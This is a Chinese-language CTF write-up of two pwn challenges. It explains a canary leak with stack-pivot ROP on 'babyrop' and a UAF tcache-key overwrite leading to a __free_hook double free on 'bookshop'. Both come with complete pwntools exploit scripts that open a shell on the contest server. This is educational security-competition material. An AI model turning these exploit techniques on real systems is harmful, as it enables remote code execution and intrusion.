前言
比賽的時候做了兩個PWN,由於隊里沒有逆向手,所以又切了道逆向,隊友們做了兩個密碼,一個雜項。
總共241個得分隊伍,最終排第36名,離進決賽還是有挺大距離的。
這里,把我做的兩道PWN題總結一下。
babyrop(54解)
一個棧題,考察了挺多東西,主要是變相地考察了棧遷移。
首先,有個單字節溢出,利用其覆蓋canary
末尾的\x00
,使得數據無法截斷,之后printf
即可將canary
泄露出。
接着,動態調試一下,就很容易知道password
對應的數是4196782
(其實為字符串的地址)。
最后,read
看似只能讀一次,不過觀察到其溢出了0x10
,而read
起始寫入的地址是由rbp
控制的,因此可以通過覆寫棧上rbp
處為我們想要寫入的地址,之后leave
中有pop rbp
,因此可以控制rbp
,並且覆寫ret
為call read
前一點的地址,即可做到再次讀入,並且讀入到任意地址。
不過每次讀入的內容去掉canary
只有0x18
的長度,對於布置rop
鏈肯定是不夠的,因此可以仿照上述的思路,進行多次分段讀入,最后再進行一次標准的棧遷移即可(其中需要注意的是read()
的返回地址,壓進去的返回地址可能會被我們修改)。
最終getshell
的時候,最簡單的方式就是一次棧溢出,利用one_gadget
即可。
不過,隊里另外一個pwn手問我為什么他用system("/bin/sh")
就不行,我試了一下,是可行的,我想他大概是由於bss_addr
沒有抬高或者抬高得不夠所以打不通,因為這里調用system
是需要訪問到bss_addr
之前空間的,如果是碰到了不可讀(寫)段或者是申請的臨時空間覆蓋了之前的有用數據,就有可能會出問題。
當然,如果控制rbp
后,跳轉到printf()
前面一點,可以直接泄露出libc
,相對於以上的思路,稍微簡單一些。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 38183)
#io=process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
bss_addr = 0x601500
pop_rdi_ret = 0x400913
leave_ret = 0x400759
vuln = 0x400717
read = 0x40071F
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
io.recvuntil("name? \n")
io.send(b'a'*20 + b'bitch')
io.recvuntil("bitch")
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary:\t' + hex(canary))
io.recvuntil("challenge\n")
io.sendline(b'4196782')
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x20) + p64(read)
io.sendafter("message\n", payload)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(canary) + p64(bss_addr+0x18+0x20) + p64(read)
io.send(payload)
payload = p64(vuln) + p64(0) + p64(leave_ret)
payload += p64(0) + p64(bss_addr-8) + p64(leave_ret)
io.send(payload)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
one_gadget = libc_base + 0x4f432
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(one_gadget)
io.send(payload)
'''
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x10) + p64(read)
io.send(payload)
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload += p64(canary) + p64(bss_addr-0x18) + p64(leave_ret)
io.send(payload)
'''
io.interactive()
bookshop(29解)
一個堆題,首先讓你讀入申請的堆塊大小(0x1F~0x666
),之后每次申請堆塊,都只能申請這么大,並且堆塊個數也有限制,不過限制比較寬泛。
漏洞點也很明顯,一個UAF
漏洞,而且寫入內容時read
后並沒有添加\x00
,可能造成信息的泄露(不過此題沒用到)。
首先,每次都只能申請一樣大的堆塊,那么如果要改變堆塊大小,就只能通過空閑堆塊合並了。
UAF
漏洞可以讓我們很方便地泄露出libc
的基地址(show
放入unsorted bin
的堆塊),UAF
漏洞的攻擊方式最常見的就是double free
,不過此處貌似不太好實現,主要矛盾在於libc-2.31
下,對tcache
的double free
進行了檢測,在每個tcache bin
的bk
處放入了key
,標識了其所屬的tcache
。若是用fastbin double free
再配合fastbin reverse into tcache
好像可行,不過就不好將chunk
放入unsorted bin
以泄露libc
了(fastbin
之間也不會合並)。
所以,想辦法將key
改變就可以對tcache
進行double free
了。
當scanf
讀入大量數據,緩沖區不夠存放的時候,會分配一個堆塊存放這些數據,比如讀入0x666
個字節,就會分配0x810
大小的堆塊,並在讀入完成后,將申請的堆塊free
掉。
可以通過填滿tcache
后,連續free
將很多個小堆塊合並為一個大堆塊,而其中單獨的每個小堆塊由於UAF
漏洞,都可以單獨地free
,若此時tcache
沒滿,它們每個free
后都會進入tcache
,並且不會對next chunk
的prev_inuse
位進行檢測。
結合以上,可以每次申請0x200
大小的堆塊,5個這樣的堆塊合並成0xa00
大小的堆塊放在unsorted bin
,並把0xa00
中最后一個0x200
的堆塊C
單獨釋放到tcache
中,這時候再通過scanf
讀入大量數據,申請了0x810
大小的堆塊,就會將0xa00
大小的堆塊分割,並寫入新size
到C
的key
位置處,實現了覆寫更改,之后就很容易利用tcache double free
修改__free_hook
為system
進行getshell
。
此外,還有一種思路:當scanf
讀入大量數據,申請了large bin
后,會觸發malloc_consolidate
,從而造成fastbin
合並后進入unsorted bin
,就可以泄露libc
了,然后用fastbin double free
再配合fastbin reverse into tcache
即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 29251)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
def add(content):
io.sendlineafter(">> ", b'1')
io.sendafter("> ", content)
def delete(index):
io.sendlineafter(">> ", b'2')
io.sendlineafter("bag?\n", str(index))
def show(index):
io.sendlineafter(">> ", b'3')
io.sendlineafter("read?\n", str(index))
io.recvuntil(": ")
def lucky(size):
io.recvuntil("number?\n")
io.sendline(str(size))
lucky(0x1f0)
for i in range(13): #0~12
add(b'\n')
for i in range(12):
delete(i)
show(7)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base:\t" + hex(libc.address))
add(b'\n') #13
add(b'\n') #14
delete(11)
io.sendlineafter(">> ", b'8'*0x666)
delete(11)
add(p64(libc.sym['__free_hook'] - 8)) #15
add(b'\n') #16
add(b'/bin/sh\x00' + p64(libc.sym['system'])) #17
delete(17)
io.interactive()
Blindbox(8解)
感覺很復雜,其實就是我太菜了,坐等大師傅們的wp......